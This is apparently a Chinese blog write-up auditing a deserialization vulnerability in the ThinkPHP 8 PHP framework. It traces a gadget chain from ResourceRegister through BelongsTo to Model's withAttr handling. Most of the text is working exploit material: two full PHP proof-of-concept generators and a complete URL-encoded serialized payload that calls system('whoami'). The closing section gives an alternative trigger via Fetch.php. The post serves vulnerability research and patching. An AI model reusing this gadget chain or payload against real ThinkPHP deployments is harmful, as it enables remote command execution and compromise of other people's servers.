ThinkPHP 8 反序列化漏洞代码审计(最新)
代码审计
首先搜__destruct

進這個vendor/topthink/framework/src/think/route/ResourceRegister.php

满足if判断,然后调用register()
namespace think\route;
class ResourceRegister
{
$registered = false;
}

发现这个地方可以触发__call,但是参数不可控
namespace think\route;
class ResourceRegister
{
protected $registered = false;
protected $resource = (class);
}
这里将$resource赋值为一个对象
全局搜索__call看看有没有可以利用的
发现这个类可能有点用
vendor/topthink/think-orm/src/model/Relation.php

本来找这个类是因为他报错的时候将$method进行了字符串拼接,可以尝试触发__tostring(),不过我们要另找一个可以传参的__call方法。
namespace think\model;
class BelongsTo{
{
protected $query = true;
}
类似的方法应该有很多,不过这里不考虑这一种。我们继续看这里调用的baseQuery()方法

这里没有实现这个方法,那么我们直接去找Relation类的子类
找到了这么一个实现了baseQuery()方法的子类
vendor/topthink/think-orm/src/model/relation/BelongsTo.php

这个类其实就可以直接触发__tostring了,这里涉及到php的一个特性:动态属性访问
$this->parent->{$this->foreignKey}
他会访问parent这个对象中的名为$this->foreignKey的属性值,这里给foreignKey传一个对象,就会被当成字符串处理,触发tostring
namespace think\model\relation;
class BelongsTo
{
protected $query = true;
protected $parent = (class);
protected $foreignKey = (class);
}
触发tostring后就直接用现成的链子了,直接将我们的前半部分和下面这条链子(thinkphp 6.0.12反序列化漏洞)的下半部分拼接一下
<?php
namespace think;
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['a' => ['whoami']];
$this->exists = true;
$this->table = $obj;
$this->withAttr = ['a' => ['system']];
$this->json = ['a'];
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
poc
<?php
namespace think;
namespace think;
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['a' => ['whoami']];
$this->exists = true;
$this->table = $obj;
$this->withAttr = ['a' => ['system']];
$this->json = ['a'];
$this->jsonAssoc = true;
}
}
namespace think\route;
use think\model\relation\BelongsTo;
class ResourceRegister
{
protected $registered;
protected $resource;
function __construct(){
$this->registered=false;
$this->resource=new BelongsTo();
}
}
namespace think\model\relation;
use Error;
use think\model\Pivot;
class BelongsTo
{
protected $query = true;
protected $parent;
protected $foreignKey;
function __construct(){
$this->query=true;
$this->parent=new error();
$this->foreignKey=new Pivot();
}
}
namespace think\model;
use think\Model;
use think\route\ResourceRegister;
class Pivot extends Model
{
}
$r=new ResourceRegister();
echo urlencode(serialize($r));
ResourceRegister -> BelongsTo(call) -> BelongsTo(tostring)
O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00query%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A49%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cthink-8.0.0%5Cpublic%5Cexp0.2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A47%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A2%3A%7Bi%3A0%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A49%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cthink-8.0.0%5Cpublic%5Cexp0.2.php%22%3Bs%3A4%3A%22line%22%3Bi%3A32%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Ba%3A6%3A%7Bs%3A4%3A%22file%22%3Bs%3A49%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cthink-8.0.0%5Cpublic%5Cexp0.2.php%22%3Bs%3A4%3A%22line%22%3Bi%3A59%3Bs%3A8%3A%22function%22%3Bs%3A11%3A%22__construct%22%3Bs%3A5%3A%22class%22%3Bs%3A28%3A%22think%5Croute%5CResourceRegister%22%3Bs%3A4%3A%22type%22%3Bs%3A2%3A%22-%3E%22%3Bs%3A4%3A%22args%22%3Ba%3A0%3A%7B%7D%7D%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00foreignKey%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%22a%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7D
补充
也可以使用下面这个call来触发tostring
vendor/topthink/think-orm/src/db/Fetch.php

substr($method, 0, 5)
这里的substr就会把$method当作string处理,同样可以触发tostring

浙公网安备 33010602011771号